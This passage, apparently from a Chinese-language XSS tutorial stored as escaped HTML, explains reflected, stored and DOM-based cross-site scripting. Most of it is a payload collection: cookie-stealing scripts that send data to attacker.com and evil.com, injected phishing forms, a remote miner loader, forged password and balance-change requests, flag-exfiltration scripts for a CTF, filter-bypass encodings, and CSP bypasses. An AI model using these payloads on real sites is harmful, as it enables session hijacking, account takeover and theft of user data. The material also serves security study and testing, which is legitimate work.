\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\uff1a\u811a\u672c\u4e0d\u4f1a\u88ab\u5b58\u50a8\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u4ec5\u5728\u4e00\u6b21\u8bf7\u6c42-\u54cd\u5e94\u5468\u671f\u4e2d\u751f\u6548\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1a\u9700\u8981\u7528\u6237\u4e3b\u52a8\u70b9\u51fb\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610f\u94fe\u63a5\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a03\uff1a\u5e38\u7528\u4e8e\u7a83\u53d6 Cookie \u6216\u8fdb\u884c\u9493\u9c7c\u6b3a\u9a97\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u4f8b\uff1a<\/p>\n
<input type=\"text\" value=\"<%= getParameter(\"keyword\") %>\">\n<button>\u641c\u7d22<\/button>\n\n<div>\n  \u60a8\u641c\u7d22\u7684\u5173\u952e\u8bcd\u662f\uff1a<%= getParameter(\"keyword\") %>\n<\/div><\/code><\/pre>\n
\u5728\u8be5\u793a\u4f8b\u4e2d\uff0c\u7528\u6237\u63d0\u4ea4\u7684 keyword<\/code> \u53c2\u6570\u88ab\u76f4\u63a5\u5d4c\u5165\u5230 HTML \u9875\u9762\u4e2d\uff0c\u65e2\u672a\u7ecf\u8fc7\u4efb\u4f55\u8fc7\u6ee4\uff0c\u4e5f\u672a\u8fdb\u884c HTML \u5b9e\u4f53\u8f6c\u4e49\u3002\u82e5\u653b\u51fb\u8005\u5728\u641c\u7d22\u6846\u4e2d\u8f93\u5165\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n
\"><script>alert('XSS')<\/script><\/code><\/pre>\n
\u9875\u9762\u6700\u7ec8\u6e32\u67d3\u51fa\u6765\u7684 HTML \u5c06\u53d8\u6210\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n
<input type=\"text\" value=\"\"><script>alert('XSS')<\/script>\"><\/code><\/pre>\n
\u6b64\u65f6\u811a\u672c\u5c06\u88ab\u7acb\u5373\u6267\u884c\uff0c\u5f39\u51fa\u4e00\u4e2a\u63d0\u793a\u6846\u3002\u8fd9\u4e2a payload \u4ec5\u7528\u4e8e\u6f14\u793a XSS \u6f0f\u6d1e\u7684\u53ef\u6267\u884c\u6027\u3002\u5b9e\u9645\u4e0a\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u6f0f\u6d1e\u6267\u884c\u4efb\u610f JavaScript \u4ee3\u7801\uff0c\u4f8b\u5982\u7a83\u53d6\u7528\u6237\u7684 Cookie \u4fe1\u606f\uff1a<\/p>\n
<script>new Image().src=\"http:\/\/attacker.com\/steal?c=\"+document.cookie;<\/script><\/code><\/pre>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u88ab\u6ce8\u5165\u6076\u610f\u811a\u672c\u7684\u9875\u9762\u65f6\uff0c\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u8bf7\u6c42\u653b\u51fb\u8005\u642d\u5efa\u7684\u670d\u52a1\u5668\uff0c\u5e76\u5728 URL \u4e2d\u9644\u5e26\u5f53\u524d\u7528\u6237\u7684 Cookie\u3002<\/p>\n
\u5e38\u89c1\u6ce8\u5165\u70b9\uff1a<\/p>\n
URL\u53c2\u6570\u6ce8\u5165\uff1a\n<p>\u641c\u7d22\u7ed3\u679c\uff1a<%= request.getParameter(\"query\") %><\/p>\npayload\uff1ahttps:\/\/example.com\/search?query=<script>alert('XSS')<\/script>\n\n\u9519\u8bef\u4fe1\u606f\u4e2d\u56de\u663e\u7528\u6237\u8f93\u5165\uff1a\n<p>\u51fa\u9519\u5566\uff0c\u60a8\u8f93\u5165\u7684\u7528\u6237\u540d\u662f\uff1a<%= request.getParameter(\"username\") %><\/p>\npayload\uff1a\u7528\u6237\u540d\u8f93\u5165\uff1a<script>alert('XSS')<\/script>\n\n\u8868\u5355\u8f93\u5165\u5b57\u6bb5\uff1a\n<input type=\"text\" value=\"<%= request.getParameter(\"keyword\") %>\">\npaylaod\uff1a\"><script>alert('XSS')<\/script>\uff08\">\u63d0\u524d\u95ed\u5408\uff09<\/code><\/pre>\n
\u5b58\u50a8\u578b XSS\uff08Stored XSS\uff09\uff1a<\/h6>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u539f\u7406\uff1a\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\u63d0\u4ea4\u5230\u670d\u52a1\u5668\u7aef\uff0c\u811a\u672c\u4f1a\u88ab\u5b58\u50a8\u5728\u6570\u636e\u5e93\u3001\u65e5\u5fd7\u6216\u5176\u4ed6\u6301\u4e45\u5316\u4ecb\u8d28\u4e2d\uff0c\u5e76\u5728\u5176\u4ed6\u7528\u6237\u8bbf\u95ee\u76f8\u5173\u5185\u5bb9\u65f6\u88ab\u52a0\u8f7d\u548c\u6267\u884c\u3002<\/p>\n
\u00a0\u00a0\u00a0  \u00a0\u5e38\u89c1\u89e6\u53d1\u573a\u666f\uff1a<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\uff1a\u7559\u8a00\u677f\u3001\u8bc4\u8bba\u7cfb\u7edf\u3001\u8bba\u575b\u5e16\u5b50\u3001\u7528\u6237\u7b7e\u540d\u7b49\u4ea4\u4e92\u533a\u57df\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1a\u7ba1\u7406\u5458\u540e\u53f0\u6d4f\u89c8\u7528\u6237\u5185\u5bb9\u65f6\u81ea\u52a8\u89e6\u53d1\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u7279\u70b9\uff1a<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\uff1a\u53ef\u6279\u91cf\u5f71\u54cd\u6240\u6709\u8bbf\u95ee\u8be5\u9875\u9762\u7684\u7528\u6237\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1a\u53ef\u9020\u6210\u8815\u866b\u5f0f\u4f20\u64ad\u3001\u7ba1\u7406\u5458\u6743\u9650\u52ab\u6301\u7b49\u4e25\u91cd\u540e\u679c\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a03\uff1a\u653b\u51fb\u6301\u7eed\u65f6\u95f4\u957f\uff0c\u96be\u4ee5\u5bdf\u89c9\u3002<\/p>\n
\u5e38\u89c1\u6ce8\u5165\u70b9\uff1a<\/p>\n
HTTP \u8bf7\u6c42\u5934\u6ce8\u5165\uff1a\npayload\uff1aUser-Agent: <script>alert('XSS')<\/script>\n\u540e\u53f0\u8bb0\u5f55\u65e5\u5fd7\u7684\u4ee3\u7801\uff1a<p>\u8bbf\u95ee\u8005\u4fe1\u606f\uff1a<%= request.getHeader(\"User-Agent\") %><\/p>\n\u82e5\u7ba1\u7406\u540e\u53f0\u9875\u9762\u5c55\u793a\u65e5\u5fd7\u65f6\u672a\u8f6c\u4e49\uff0c\u7ba1\u7406\u5458\u6d4f\u89c8\u65f6\u5c06\u89e6\u53d1 XSS\u3002\n\n\u7559\u8a00\u529f\u80fd\u6ce8\u5165\uff1a\n\u653b\u51fb\u8005\u63d0\u4ea4\u8bc4\u8bba\u5185\u5bb9\uff1a<script>fetch('http:\/\/evil.com\/steal?c='+document.cookie)<\/script>\n\u540e\u53f0\u5c06\u8bc4\u8bba\u5b58\u5165\u6570\u636e\u5e93\uff1aINSERT INTO comments (content) VALUES ('<script>...<\/script>');\n\u524d\u53f0\u6e32\u67d3\uff1a<div><%= comment.content %><\/div>\n\u6240\u6709\u8bbf\u95ee\u8be5\u8bc4\u8bba\u7684\u7528\u6237\u90fd\u5c06\u88ab\u653b\u51fb\u3002\n<\/code><\/pre>\n
DOM \u578b XSS\uff08DOM-based XSS\uff09\uff1a<\/h6>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u539f\u7406\uff1a\u5229\u7528\u5ba2\u6237\u7aef\u6d4f\u89c8\u5668\u5bf9DOM\uff08\u6587\u6863\u5bf9\u8c61\u6a21\u578b\uff09\u7684\u64cd\u4f5c\u8fdb\u884c\u653b\u51fb\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u7279\u70b9\uff1a<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\uff1a\u653b\u51fb\u5165\u53e3\u4ecd\u901a\u8fc7 URL \u53c2\u6570\u4f20\u9012\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1a\u6076\u610f\u4ee3\u7801\u4e0d\u51fa\u73b0\u5728 HTML \u6e90\u7801\u4e2d\uff0c\u800c\u662f\u5728\u6d4f\u89c8\u5668\u89e3\u6790 DOM \u65f6\u52a8\u6001\u6267\u884c\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a03\uff1a\u4e3b\u8981\u4f9d\u8d56\u5ba2\u6237\u7aef JavaScript \u4e2d\u7684\u4e0d\u5b89\u5168\u64cd\u4f5c\uff08\u5982 document.write()<\/code>\u3001innerHTML<\/code>\u3001eval()<\/code> \u7b49\uff09\uff1b<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u5e38\u89c1\u6ce8\u5165\u70b9\uff1a<\/p>\n
document.location\n\ndocument.URL\n\ndocument.URLUnencoded\n\ndocument.referrer\n\nwindow.location\n\ndocument.write()\n\ndocument.writeln()\n\ndocument.body.innerHTML\n\neval()\n\nwindow.execScript()\n\nwindow.setInterval()\n\nwindow.setTimeout()<\/code><\/pre>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u4f8b\uff1a<\/p>\n
<script>\n  var url = document.location;\n  url = unescape(url);\n  var message = url.substring(url.indexOf('message=') + 8, url.length);\n  document.write(message);\n<\/script><\/code><\/pre>\n
\u5982\u679c\u653b\u51fb\u8005\u8bbf\u95ee\u9875\u9762\u65f6\u5c06 URL \u8bbe\u7f6e\u4e3a\uff1a<\/p>\n
http:\/\/example.com\/page.html?message=<script>alert(1)<\/script><\/code><\/pre>\n
\u811a\u672c\u4e2d\u7684 document.write()<\/code> \u4f1a\u5c06 <script>alert(1)<\/script><\/code> \u52a8\u6001\u5199\u5165\u9875\u9762\uff0c\u4ece\u800c\u88ab\u6267\u884c\u3002<\/p>\n
payload\u96c6\u5408\uff1a<\/h2>\n
\u57fa\u672c\u5f39\u7a97\uff08\u7528\u4e8e\u6d4b\u8bd5\uff09\uff1a\n<script>alert('XSS')<\/script>\n\n<img src=x onerror=alert('XSS')>\n\n<script>alert(\/hello\/)<\/script> \n\n<script>alert(1)<\/script> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\uff08\u5bf9\u4e8e\u6570\u5b57\u53ef\u4ee5\u4e0d\u7528\u5f15\u53f7\uff09\n\n\u95ed\u5408\u6807\u7b7e\uff1a\n'><script>alert('XSS')<\/script>\n\n\"><script>alert('XSS')<\/script> \n\n\u5f15\u7528\u5916\u90e8\u7684xss\uff1a\n<script src=http:\/\/xxx.com\/xss.js><\/script>  \n\n\u7a83\u53d6\u7528\u6237 Cookie\uff1a\n<script>alert(document.cookie)<\/script>\n\n<script>\n  new Image().src = \"http:\/\/attacker.com\/log?c=\" + document.cookie;\n<\/script>\n\n\u9493\u9c7c\u6b3a\u9a97\uff1a\n<script>\n  document.body.innerHTML = '<form action=\"http:\/\/attacker.com\/phish\"><input name=\"pwd\"><\/form>';\n<\/script>\n\n\u540e\u53f0\u653b\u51fb\uff1a\n<script>\n  fetch('\/admin\/deleteAll', { method: 'POST' });\n<\/script>\n\n\u9875\u9762\u52ab\u6301\uff1a\nhttp:\/\/example.com\/page?msg=<script src=\"http:\/\/attacker.com\/miner.js\"><\/script>\n\n\u65e0\u9700\u7528\u6237\u4ea4\u4e92\u7684\u4e8b\u4ef6\u5c5e\u6027\uff1a\n<style onreadystatechange=alert(1)><\/style>\n\n<iframe onreadystatechange=alert(1)><\/iframe>\n\n<object onerror=alert(1)><\/object>\n\n<img src=valid.gif onreadystatechange=alert(1)>\n\n<input type=image src=valid.gif onreadystatechange=alert(1)>\n\n<body onbeforeactivate=alert(1)><\/body>\n\n<video src=1 onerror=alert(1)><\/video>\n\n<audio src=1 onerror=alert(1)>\n\n\u811a\u672c\u4f2a\u534f\u8bae\u6ce8\u5165\uff1a\n<object data=\"javascript:alert(1)\"><\/object>\n\n<iframe src=\"javascript:alert(1)\"><\/iframe>\n\n<event-source src=\"javascript:alert(1)\"><\/event-source>\n\n\u7a83\u53d6\u6570\u636e\u811a\u672c\uff1a\n<script>window.location.href=\"http:\/\/attacker.com\/collect?cookie=\"+document.cookie<\/script>\n\n<script>document.location.href=\"http:\/\/attacker.com\/collect?cookie=\"+document.cookie<\/script>\n\n<script>window.open=\"http:\/\/attacker.com\/collect?cookie=\"+document.cookie<\/script>\n\n<script>window.location.href=\"http:\/\/attacker.com\/collect?data=\"+document.getElementsByClassName('target-class')[0].innerHTML<\/script>\n\n\uff08\u4f7f\u7528 jQuery \u9009\u62e9\u5668\uff09\n<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){\n    if(value.innerHTML.indexOf('ctfshow{')>-1){\n        window.location.href='http:\/\/attacker.com\/'+value.innerHTML;\n    }\n});<\/script>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\uff08\u4f7f\u7528 jQuery \u9009\u62e9\u5668\uff08\u5e26\u8fc7\u6ee4\uff09\uff09\n<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {\n    if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {\n        window.location.href = 'http:\/\/attacker.com\/' +value.innerHTML;\n    }\n});<\/script>\n\n\uff08\u4f7f\u7528 querySelector\uff09\n<script>var img = new Image();\nimg.src = \"http:\/\/attacker.com\/\"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;\ndocument.body.append(img);<\/script>\n\n\u7279\u6b8a\u6807\u7b7e\u5229\u7528\uff1a\n\uff08SVG\u6807\u7b7e\uff09\n<svg onload=\"alert(1)\">\n<svg onload=\"alert(1)\"\/\/\n<svg onload=\"location.href='http:\/\/attacker.com\/collect?c='+document.cookie\"\/>\n\n\uff08Body\u6807\u7b7e\uff09\n<body onload=alert(1)>\n<body onpageshow=alert(1)>\n<body onload=location.href='http:\/\/attacker.com\/collect?cookie='+document.cookie><\/body>\n<body\/**\/onload=location.href='http:\/\/attacker.com\/collect?cookie='+document.cookie><\/body>\n<body\/onload=location.href='http:\/\/attacker.com\/collect?cookie='+document.cookie><\/body>\n\n\uff08Video\u6807\u7b7e\uff09\n<video onloadstart=alert(1) src=\"\/media\/hack-the-planet.mp4\" \/>\n\n\uff08Style\u6807\u7b7e\uff09\n<style onload=alert(1)><\/style>\n\n\uff08Iframe\u6807\u7b7e\uff09\n<iframe onload=document.location='http:\/\/attacker.com\/collect?cookie='+document.cookie>\n\n\u4f7f\u7528 Image \u5bf9\u8c61\uff1a\n<script>var img = new Image();img.src = \"http:\/\/attacker.com\/\"+document.cookie;<\/script>\n\n\u4f7f\u7528 XMLHttpRequest\uff1a\n<script>\nvar httpRequest = new XMLHttpRequest();\nhttpRequest.open('POST', 'http:\/\/attacker.com\/api\/change.php', true);\nhttpRequest.setRequestHeader(\"Content-type\",\"application\/x-www-form-urlencoded\");\nhttpRequest.send('p=1234567');\n<\/script> \n\n\u4f7f\u7528 jQuery AJAX\uff1a\n<script>$.ajax({\n    url:\"api\/amount.php\",\n    method:\"POST\",\n    data:{'u':'1','a':''}\n})<\/script> \n\n\u4f7f\u7528 jQuery AJAX \u4fee\u6539\u5bc6\u7801\uff1a\n<script>$.ajax({\n    url:\"api\/change.php\",\n    method:\"POST\",\n    data:{'p':'1717'}\n})<\/script> \n\n\u4f7f\u7528 jQuery AJAX \u4fee\u6539\u91d1\u989d\uff1a\n<script>$.ajax({\n    url:\"api\/amount.php\",\n    method:\"POST\",\n    data:{'u':'1','a':''}\n})<\/script> \n\n\u76d1\u63a7\u811a\u672c\uff1a\n\uff08\u4f7f\u7528 nc \u76d1\u63a7\uff09\n<script>window.open('http:\/\/attacker.com:9033\/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)<\/script>\n\n\uff08\u4f7f\u7528 jQuery \u76d1\u63a7\uff09\n<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){\n    if(value.innerHTML.indexOf('ctfshow{')>-1){\n        window.location.href='http:\/\/attacker.com:9033\/'+value.innerHTML;\n    }\n});<\/script>\n\n\uff08\u4f7f\u7528 jQuery \u76d1\u63a7\uff08\u5e26\u8fc7\u6ee4\uff09\uff09\n<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {\n    if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {\n        window.location.href = 'http:\/\/attacker.com:9033\/' +value.innerHTML;\n    }\n});<\/script>\n\n\u7559\u8a00\u677f\u540e\u53f0\u4fe1\u606f\u53d1\u5e03\uff1a\n<\/code><\/pre>\n
\u7ed5\u8fc7\uff1a<\/h2>\n
\u5229\u7528\u5927\u5c0f\u5199\u6df7\u6dc6\u7ed5\u8fc7\u8fc7\u6ee4\uff08\u90e8\u5206\u8fc7\u6ee4\u5668\u53ea\u5339\u914d\u5c0f\u5199\u5173\u952e\u8bcd\uff09\uff1a\n\"><ScRiPt>alert(document.cookie)<\/ScRiPt>\n\n\u5b8c\u6574\u4f7f\u7528 URL \u7f16\u7801\uff08%3e = '>'\uff0c%3c = '<'\uff09\uff0c\u7ed5\u8fc7\u5bf9\u7279\u6b8a\u5b57\u7b26\u7684\u62e6\u622a\uff1a\n\"%3e%3cscript%3ealert(document.cookie)%3c\/script%3e\n\n\u5229\u7528\u6807\u7b7e\u5d4c\u5957\u7684\u65b9\u5f0f\u7ed5\u8fc7\u8fc7\u6ee4\u5668\uff0c\u4f8b\u5982\u5c06 <script> \u62c6\u5206\u6210\u591a\u6bb5\uff1a\n\"><scr<script>ipt>alert(document.cookie)<\/scr<\/script>ipt>\n\n\u5728\u524d\u9762\u63d2\u5165\u7a7a\u5b57\u8282\uff08%00\uff09\uff0c\u7ed5\u8fc7\u90e8\u5206\u8bed\u8a00\u6216\u6846\u67b6\u5728\u5904\u7406\u5b57\u7b26\u4e32\u65f6\u7684\u622a\u65ad\u95ee\u9898\uff1a\n%00\"><script>alert(document.cookie)<\/script>\n\n\u7a7a\u683c\u66ff\u4ee3\u5b57\u7b26\uff1a\n<img%09onerror=alert(1) src=a>  <!-- Tab -->\n<img%0aonerror=alert(1) src=a>  <!-- \u6362\u884c -->\n<img\/\"onerror=alert(1) src=a>   <!-- \u5f02\u5e38\u8bed\u6cd5 -->\n\n\u5c5e\u6027\u540d\u7ed5\u8fc7\uff1a\n<img o%00nerror=alert(1) src=a>\n\n\u5c5e\u6027\u5206\u9694\u7ed5\u8fc7\uff1a\n<img onerror='alert(1)'src=a>\n\n\u5c5e\u6027\u503c\u7f16\u7801\u7ed5\u8fc7\uff1a\n<img onerror=a%00lert(1) src=a>\n<img onerror=a&#x006c;ert(1) src=a>\n\u53ef\u7f16\u7801\u5c5e\u6027\uff1a\nhref=\naction=\nformaction=\nlocation=\non*=\nname=\nbackground=\nposter=\nsrc=\ncode=\ndata=\uff08\u4ec5\u652f\u6301 base64\uff09 \n\n\u7ed5\u8fc7\u5b57\u7b26\u96c6\u4e0e\u957f\u5ea6\u9650\u5236\uff1a\n\u4f7f\u7528\u975e\u6807\u51c6\u7f16\u7801\uff1aUTF-7\uff0cUS-ASCII\uff0cUTF-16\n\n\u62c6\u5206\u811a\u672c\uff1a\n<script>\n  z = '<script src=';\n  z += 'test.c';\n  z += 'n\/1.js><\/script>';\n  document.write(z);\n<\/script>\n\/\/<script src=test.cn\/1.js><\/script>\n\nUnicode \u7f16\u7801\u5173\u952e\u5b57\uff1a\n<script>au006cert(1)<\/script>\n\u7ed3\u5408 eval()\uff1a\n<script>eval('au006cert(1)')<\/script>\n\n\u66ff\u4ee3\u70b9\u64cd\u4f5c\u7b26 .\uff1a\n<script>alert(document['cookie'])<\/script>\n<script>with(document)alert(cookie)<\/script>\n\n\u56de\u8f66\u62c6\u5206\uff1a\n<a href=\"j\na\nv\na\ns\nc\nr\ni\np\nt:alert(1)\">\u70b9\u51fb<\/a>\n\n\u62ec\u53f7\u7ed5\u8fc7\uff1a\n<img src=x onerror=\"javascript:window.onerror=alert;throw 1\">\n<a onmouseover=\"javascript:window.onerror=alert;throw 1>\n\n\u4ee3\u66ffhttp:\/\/ \uff1a\n\u7528\/\/\u4ee3\u66ffhttp:\/\/\n\n\u5229\u7528Function\uff1a\nJS\u6709\u4e00\u4e2a\u7279\u6027\u662f Function()()\uff08\u6ce8\u610f\u8fd9\u4e00\u5b9a\u662f\u8981\u5927\u5199\uff09\u3002\u5bf9\u4e8eFunction()\u6765\u8bf4\uff0c\u5199\u5728\u5176\u7b2c\u4e00\u4e2a\u62ec\u53f7\u5185\u7684JS\u8bed\u53e5\u4f1a\u88ab\u76f4\u63a5\u6267\u884c\n\u4f8b\uff1aFunction(alert(1))();\n\u8fd8\u53ef\u4ee5\u5229\u7528atob()\uff0c\u5b83\u7684\u4f5c\u7528\u662f\u628a\u540e\u9762\u7684base64\u7f16\u7801\u8fd8\u539f\nFunction(atob`YWxlcnQoZG9jdW1lbnQuY29va2llKQ`)();   \/\/\u53cd\u5f15\u53f7\u4ee3\u66ff\u62ec\u53f7\u4f7f\u7528\uff0c\u62ec\u53f7\u4e5f\u662f\u53ef\u4ee5\u7684\n<\/code><\/pre>\n
\u7ed5\u8fc7 CSP<\/h2>\n
\u4e00\u822c\u957f\u8fd9\u6837\uff1a<\/p>\n
\"\"<\/div><\/p>\n
CSP\u901a\u8fc7\u8fd9\u6837\u7684\u6307\u4ee4\u9650\u5236\u53ea\u80fd\u52a0\u8f7d\u4e0e\u9875\u9762\u672c\u8eab\u76f8\u540c\u6765\u6e90\u7684\u8d44\u6e90\uff1ascript-src 'self'<\/code><\/p>\n
\u901a\u8fc7\u6307\u4ee4\u9650\u5236\u53ea\u80fd\u4ece\u6307\u5b9a\u57df\u4e2d\u52a0\u8f7d\u8d44\u6e90\uff1ascript-src <https:\/\/scripts.normal-website.com><\/code><\/p>\n
CSP \u8fd8\u901a\u8fc7\u968f\u673a\u6570\u548c\u54c8\u5e0c\u503c\u6765\u6307\u5b9a\u53ef\u4fe1\u8d44\u6e90\uff1a<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\uff1aCSP \u7684\u6307\u4ee4\u6307\u5b9a\u4e00\u4e2a\u968f\u673a\u6570\uff0c\u52a0\u8f7d\u811a\u672c\u7684\u6807\u7b7e\u4e5f\u5fc5\u987b\u6709\u76f8\u540c\u7684\u968f\u673a\u6570\u3002\u5426\u5219\u5c31\u4e0d\u6267\u884c\u8be5\u811a\u672c\u3002\u5e76\u79c9\u6301\u4e00\u6b21\u6027\u7684\u539f\u5219\uff0c\u907f\u514d\u88ab\u731c\u89e3\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1aCSP \u6307\u4ee4\u53ef\u4ee5\u6307\u5b9a\u811a\u672c\u5185\u5bb9\u7684\u54c8\u5e0c\u503c\u3002\u4e0d\u5339\u914d\u4e5f\u662f\u4e0d\u4f1a\u6267\u884c\u7684\u3002<\/p>\n
\u7ed5\u8fc7\u65b9\u5f0f\u4e00\uff1a\u60ac\u7a7a\u6807\u8bb0\u653b\u51fb<\/strong><\/p>\n
\u5047\u8bbe\u5e94\u7528\u7a0b\u5e8f\u6ca1\u6709\u8fc7\u6ee4\u6216\u8f6c\u4e49><\/code>\u6216\u201c<\/code>\u5b57\u7b26\uff0c\u4f46\u7531\u4e8ecsp\u7b49\u539f\u56e0\u5e38\u89c4XSS\u653b\u51fb\u662f\u4e0d\u53ef\u80fd\uff0c\u90a3\u4e48\u53ef\u4ee5\u8fd9\u4e48\u6253\uff1a<\/p>\n
\"><img src='\/\/attacker-website.com?<\/code><\/pre>\n
\u5f53\u8f7d\u8377\u4e0d\u4f1a\u5173\u95edsrc\u5c5e\u6027\uff0c\u8be5\u5c5e\u6027\u4fdd\u7559\u4e3a\u60ac\u7a7a<\/strong>\u3002\u5f53\u6d4f\u89c8\u5668\u89e3\u6790\u54cd\u5e94\u65f6\uff0c\u5b83\u5c06\u5411\u524d\u770b\uff0c\u76f4\u5230\u9047\u5230\u4e00\u4e2a\u5355\u5f15\u53f7\u6765\u7ec8\u6b62\u5c5e\u6027\u3002\u76f4\u5230\u8be5\u5b57\u7b26\u4e4b\u524d\u7684\u6240\u6709\u5185\u5bb9\u90fd\u5c06\u88ab\u89c6\u4e3aURL\u7684\u4e00\u90e8\u5206\uff0c\u5e76\u5c06\u5728URL\u67e5\u8be2\u5b57\u7b26\u4e32\u5185\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u3002\u4efb\u4f55\u975e\u5b57\u6bcd\u6570\u5b57\u5b57\u7b26\uff08\u5305\u62ec\u6362\u884c\u7b26\uff09\u90fd\u5c06\u8fdb\u884cURL\u7f16\u7801\u3002<\/p>\n
CSRF\u4ee4\u724c\u4f5c\u4e3a\u9690\u85cf\u5b57\u6bb5\u5d4c\u5165\uff1a<\/p>\n
<input type=\"hidden\" name=\"csrf_token\" value=\"{{ csrf_token }}\"><\/code><\/pre>\n
\u90a3\u4e48\u4ee4\u724c\u5c31\u6709\u53ef\u80fd\u88ab\u6211\u4eec\u7a83\u53d6\uff0c\u518d\u7136\u540e\u7528 CSRF \u76d7\u7528 token\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528\u5b83\u4ee3\u8868\u7528\u6237\u6267\u884c\u672a\u7ecf\u6388\u6743\u64cd\u4f5c<\/p>\n
\u7ed5\u8fc7\u65b9\u5f0f\u4e8c\uff1a\u7ecf\u7531base\u7684\u7ed5\u8fc7<\/strong><\/p>\n
\u5982\u679ccsp\u6ca1\u6709\u8bbe\u5b9abase-uri\u6307\u793a\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u4f7f\u7528base\u6807\u7b7e\uff0c\u8fd9\u4e2a\u6807\u7b7e\u7684\u4f5c\u7528\u662f\u6539\u53d8\u6240\u6709\u76f8\u5bf9\u8def\u5f84\u7684\u53c2\u8003\u4f4d\u7f6e<\/p>\n
\u6ce8\u5165\uff1a<\/p>\n
<base href=\"https:\/\/attacker.com\/\">\n<script src=\"malicious.js\"><\/script><\/code><\/pre>\n
\u90a3\u4e48malicious.js\u5c31\u4f1a\u88ab\u89e3\u6790\u4e3a\uff1ahttps:\/\/attacker.com\/malicious.js<\/a><\/p>\n
\u7ed5\u8fc7\u65b9\u5f0f\u4e09\uff1a\u7ecf\u7531jsonp\uff1a<\/strong><\/p>\n
JSONP \u662f\u4e00\u79cd\u80fd\u591f\u8de8\u6765\u6e90\u53d6\u5f97\u8d44\u6599\u7684\u65b9\u5f0f\uff0c\u5c31\u662f\u8bf4\u5141\u8bb8\u4e00\u4e9b\u8ddf\u975e\u540c\u6e90\u7684\u7f51\u9875\u7684\u4e92\u52a8<\/p>\n
\u56e0\u6b64\uff0c\u5c31\u51fa\u73fe\u4e86\u9019\u6a23\u4e00\u7a2e\u4ea4\u63db\u8cc7\u6599\u7684\u65b9\u5f0f\uff0c\u5047\u8a2d\u73fe\u5728\u6709\u500b API \u53ef\u4ee5\u62ff\u4f7f\u7528\u8005\u7684\u8cc7\u6599\uff0c\u4ed6\u5011\u6703\u63d0\u4f9b\u9019\u6a23\u4e00\u500b\u8def\u5f91\uff1ahttps:\/\/example.com\/api\/users<\/code>\uff0c\u56de\u50b3\u7684\u5167\u5bb9\u4e26\u4e0d\u662f JSON\uff0c\u800c\u662f\u4e00\u6bb5 JavaScript \u7a0b\u5f0f\u78bc\uff1a<\/p>\n
setUsers([\n  {id: 1, name: 'user01'},\n  {id: 2, name: 'user02'}\n])<\/code><\/pre>\n
